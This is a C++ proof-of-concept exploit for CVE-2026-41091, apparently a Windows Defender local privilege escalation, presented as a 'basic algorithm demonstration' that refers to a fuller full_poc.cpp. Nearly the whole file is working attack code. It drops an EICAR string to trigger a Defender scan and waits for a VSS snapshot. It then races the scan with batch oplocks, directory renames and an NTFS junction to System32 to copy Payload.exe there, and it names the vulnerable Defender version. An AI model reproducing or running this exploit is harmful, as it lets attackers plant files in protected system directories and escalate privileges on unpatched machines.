/* * CVE-2026-41091 Basic PoC - Simplified Algorithm Demonstration (USE full_poc.cpp) * * This is a BASIC educational PoC that demonstrates the exploitation algorithm. * This is NOT the full working exploit. * * For the complete working exploit with all features, use full_poc.cpp which includes: * - Cloud Files API (CfAPI) integration * - Cloud placeholder creation * - COM service activation (Storage Tiers Management) * - Complete SYSTEM privilege escalation chain * * This basic version only shows the core algorithm: * 1. Trigger Defender with EICAR * 2. Wait for VSS snapshot * 3. Create batch oplocks * 4. Rename directories * 5. Create NTFS junction to System32 * 6. Copy payload to System32 * Created by @tc4dy */ #include #include #include #include #include #include #include #include namespace fs = std::filesystem; #pragma comment(lib, "ntdll.lib") const char EICAR_REVERSED[] = "*H+H$!ELIF-TSET-NAIDRA-DNATSRACIRE$}7)CC7)^)45PZXZP\\[4PA@P%!O5X"; class BasicExploit { private: std::wstring tempDir; std::wstring payloadPath; std::wstring systemTarget; HANDLE hOplock1; HANDLE hOplock2; bool WaitForVssSnapshot() { std::wcout << L"[*] Waiting for VSS activity..." << std::endl; HANDLE hDir; UNICODE_STRING dirName; OBJECT_ATTRIBUTES objAttr; RtlInitUnicodeString(&dirName, L"\\Device"); InitializeObjectAttributes(&objAttr, &dirName, OBJ_CASE_INSENSITIVE, NULL, NULL); typedef NTSTATUS (NTAPI *pNtOpenDirectoryObject)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); typedef NTSTATUS (NTAPI *pNtQueryDirectoryObject)(HANDLE, PVOID, ULONG, BOOLEAN, BOOLEAN, PULONG, PULONG); auto NtOpenDirectoryObject = (pNtOpenDirectoryObject)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtOpenDirectoryObject"); auto NtQueryDirectoryObject = (pNtQueryDirectoryObject)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryDirectoryObject"); if (!NtOpenDirectoryObject || !NtQueryDirectoryObject) return false; if (NtOpenDirectoryObject(&hDir, 0x0003, &objAttr) != 0) return false; for (int i = 0; i < 30; i++) { BYTE buffer[4096]; ULONG context = 0; ULONG returnLength = 0; while (true) { ULONG queryLength = 0; NTSTATUS status = NtQueryDirectoryObject(hDir, buffer, sizeof(buffer), FALSE, TRUE, &context, &queryLength); if (status == 0x80000005 || status != 0) break; if (wcsstr((wchar_t*)(buffer + 8), L"HarddiskVolumeShadowCopy")) { NtClose(hDir); return true; } } Sleep(1000); } NtClose(hDir); return false; } bool CreateOplock(const std::wstring& path, HANDLE& hOplock) { HANDLE hFile = CreateFileW(path.c_str(), GENERIC_READ | FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); if (hFile == INVALID_HANDLE_VALUE) return false; OVERLAPPED ov = {0}; ov.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!ov.hEvent) { CloseHandle(hFile); return false; } DWORD bytesReturned; DeviceIoControl(hFile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, 0, NULL, 0, &bytesReturned, &ov); if (GetLastError() != ERROR_IO_PENDING) { CloseHandle(ov.hEvent); CloseHandle(hFile); return false; } hOplock = hFile; return true; } bool WaitForOplock(HANDLE hOplock) { OVERLAPPED ov = {0}; ov.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!ov.hEvent) return false; DWORD bytesReturned; BOOL result = GetOverlappedResult(hOplock, &ov, &bytesReturned, TRUE); CloseHandle(ov.hEvent); return result; } bool CreateJunction(const std::wstring& junctionPath, const std::wstring& targetPath) { HANDLE hDir = CreateFileW(junctionPath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL); if (hDir == INVALID_HANDLE_VALUE) return false; BYTE buffer[MAXIMUM_REPARSE_DATA_BUFFER_SIZE]; PREPARSE_DATA_BUFFER reparse = (PREPARSE_DATA_BUFFER)buffer; reparse->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; reparse->Reserved = 0; std::wstring fullTarget = L"\\??\\" + targetPath; size_t targetLen = fullTarget.length() * sizeof(WCHAR); size_t printNameLen = targetPath.length() * sizeof(WCHAR); reparse->ReparseDataLength = (WORD)(targetLen + printNameLen + 16); BYTE* data = buffer + REPARSE_DATA_BUFFER_HEADER_SIZE; *(WORD*)data = (WORD)targetLen; data += 2; memcpy(data, fullTarget.c_str(), targetLen); data += targetLen; *(WORD*)data = (WORD)printNameLen; data += 2; memcpy(data, targetPath.c_str(), printNameLen); DWORD bytesReturned; BOOL result = DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, buffer, (DWORD)(REPARSE_DATA_BUFFER_HEADER_SIZE + reparse->ReparseDataLength), NULL, 0, &bytesReturned, NULL); CloseHandle(hDir); return result; } bool TriggerDefender(const std::wstring& path) { HANDLE hFile = CreateFileW(path.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) return false; DWORD written; WriteFile(hFile, EICAR_REVERSED, (DWORD)strlen(EICAR_REVERSED), &written, NULL); CloseHandle(hFile); HANDLE hExec = CreateFileW(path.c_str(), GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hExec == INVALID_HANDLE_VALUE) return false; CloseHandle(hExec); return true; } bool CopyToSystem(const std::wstring& source, const std::wstring& dest) { return CopyFileW(source.c_str(), dest.c_str(), FALSE); } public: BasicExploit() : hOplock1(NULL), hOplock2(NULL) { std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution<> dis(1000, 9999); std::wstring randomId = L"BE-" + std::to_wstring(dis(gen)); tempDir = fs::temp_directory_path().wstring() + L"\\" + randomId + L"\\"; payloadPath = tempDir + L"Payload.exe"; systemTarget = L"C:\\Windows\\System32\\Payload.exe"; } bool Execute() { std::wcout << L"\n========================================" << std::endl; std::wcout << L" CVE-2026-41091 Basic PoC" << std::endl; std::wcout << L" Algorithm Demonstration Only" << std::endl; std::wcout << L"========================================" << std::endl; std::wcout << L"[*] Starting exploit algorithm..." << std::endl; std::wcout << L"[*] Creating working directory..." << std::endl; if (!fs::create_directories(tempDir)) { std::wcerr << L"[-] Failed to create directory" << std::endl; return false; } std::wcout << L"[+] Directory created: " << tempDir << std::endl; std::wcout << L"[*] Triggering Defender with EICAR..." << std::endl; if (!TriggerDefender(payloadPath)) { std::wcerr << L"[-] Failed to trigger Defender" << std::endl; return false; } std::wcout << L"[+] Defender triggered" << std::endl; std::wcout << L"[*] Waiting for VSS snapshot..." << std::endl; if (!WaitForVssSnapshot()) { std::wcout << L"[!] VSS not detected, continuing anyway..." << std::endl; } else { std::wcout << L"[+] VSS detected" << std::endl; } std::wcout << L"[*] Creating first oplock..." << std::endl; if (!CreateOplock(payloadPath, hOplock1)) { std::wcerr << L"[-] Failed to create first oplock" << std::endl; return false; } std::wcout << L"[+] First oplock created" << std::endl; std::wcout << L"[*] Waiting for oplock break..." << std::endl; if (!WaitForOplock(hOplock1)) { std::wcerr << L"[-] Failed to get oplock" << std::endl; return false; } std::wcout << L"[+] Oplock acquired" << std::endl; std::wcout << L"[*] Renaming directory..." << std::endl; fs::path movedPath = tempDir + L".tmp"; try { if (fs::exists(movedPath)) fs::remove_all(movedPath); fs::rename(tempDir, movedPath); fs::create_directories(tempDir); } catch (...) { std::wcerr << L"[-] Failed to rename directory" << std::endl; return false; } std::wcout << L"[+] Directory renamed" << std::endl; std::wcout << L"[*] Creating second oplock..." << std::endl; if (!CreateOplock(payloadPath, hOplock2)) { std::wcerr << L"[-] Failed to create second oplock" << std::endl; return false; } std::wcout << L"[+] Second oplock created" << std::endl; std::wcout << L"[*] Waiting for second oplock..." << std::endl; if (!WaitForOplock(hOplock2)) { std::wcerr << L"[-] Failed to get second oplock" << std::endl; return false; } std::wcout << L"[+] Second oplock acquired" << std::endl; std::wcout << L"[*] Creating NTFS junction to System32..." << std::endl; if (!CreateJunction(tempDir, L"C:\\Windows\\System32")) { std::wcerr << L"[-] Failed to create junction" << std::endl; return false; } std::wcout << L"[+] Junction created" << std::endl; CloseHandle(hOplock1); CloseHandle(hOplock2); hOplock1 = NULL; hOplock2 = NULL; std::wcout << L"[*] Waiting for Defender to finish..." << std::endl; Sleep(3000); std::wcout << L"[*] Copying payload to System32..." << std::endl; if (!CopyToSystem(payloadPath, systemTarget)) { std::wcerr << L"[-] Failed to copy payload" << std::endl; return false; } std::wcout << L"[+] Payload copied to " << systemTarget << std::endl; std::wcout << L"\n[+] Algorithm demonstration completed!" << std::endl; std::wcout << L"[i] This is only the basic algorithm." << std::endl; std::wcout << L"[i] For full SYSTEM privilege escalation," << std::endl; std::wcout << L"[i] use full_poc.cpp with Cloud API and COM activation." << std::endl; return true; } ~BasicExploit() { if (hOplock1) CloseHandle(hOplock1); if (hOplock2) CloseHandle(hOplock2); try { if (fs::exists(tempDir)) fs::remove_all(tempDir); } catch (...) {} } }; int main() { SetConsoleOutputCP(CP_UTF8); BasicExploit exploit; if (exploit.Execute()) { std::wcout << L"\n[+] Press any key to exit..." << std::endl; std::cin.get(); return 0; } std::wcerr << L"\n[-] Exploit failed!" << std::endl; std::wcerr << L"[!] Make sure you're running on an unpatched system" << std::endl; std::wcerr << L"[!] Defender version must be <= 1.1.26030.3008" << std::endl; std::cin.get(); return 1; }